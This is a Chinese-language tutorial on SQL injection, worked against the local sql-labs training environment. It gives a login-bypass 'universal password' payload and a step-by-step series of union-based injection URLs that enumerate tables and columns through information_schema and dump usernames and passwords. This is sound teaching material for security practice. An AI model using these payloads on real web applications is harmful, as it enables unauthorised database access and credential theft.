SQL注入原理
1、定义
定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2、基本方式
sql注入可以绕过后台登录直接进入数据库,从而得到所需要的用户数据等重要数据,可以得到相关服务器密码进入服务器达到入侵的目的。
sql注入之万能密码
万能密码如下:
select * from user where uname=1' or 1=1#
其中第一个1后面有个单引号,改符号为闭合符号,最后有一个 #号为注释符号。
其中需要注意的是闭合符号:'、"、')、")。
常见的注释符号有:#、--+、--空格。
联合注入查询
需要用到sql-labs环境练习,可以百度搭建环境。
1、判断闭合符号
注意这里我们使用--+
注释符号,不能使用#
。
我们在url框输入
http://127.0.0.1/Less-1/?id=1
下面的数据会出现变化
这就是最普通的注入
可以在1右边加闭合符号,如果不对会出现如下报错。
2、判断列数
加上order by 1--+
(1可以变换,数值越大列越多,试到报错为止)
http://127.0.0.1/Less-1/?id=1' order by 1--+
可以判断出有3列
3、开始联合查询
如下
127.0.0.1/Less-1/?id=0' union select 1,2,3--+
爆出数值2,3。即可在该位置插入所需语句进行下一步查询。
127.0.0.1/Less-1/?id=0' union select 1,2,database()--+
查询到所需数据表显示在3,位置。
4、爆数据表
知道了表名就可以爆出数据表的值了,hhhh。
首先数据表里面有一个大数据库information_schema
,里面包含所有数据表。下面列出个语句作用:
group_concat
函数返回一个字符串结果,该结果由分组中的值连接组合而成。
table_name
表名
information_schema.tables
包含所有库的表名
table_schema
数据库名
整体代码如下
http://127.0.0.1/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
5、爆字段
新语句
information_schema.columns
包含所有表的字段
column_name
列名
爆位置2如下
127.0.0.1/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
也可以爆位置3
127.0.0.1/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
6、爆值
127.0.0.1/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
级得到我们需要的数据了,hhh。一到四关方法一致。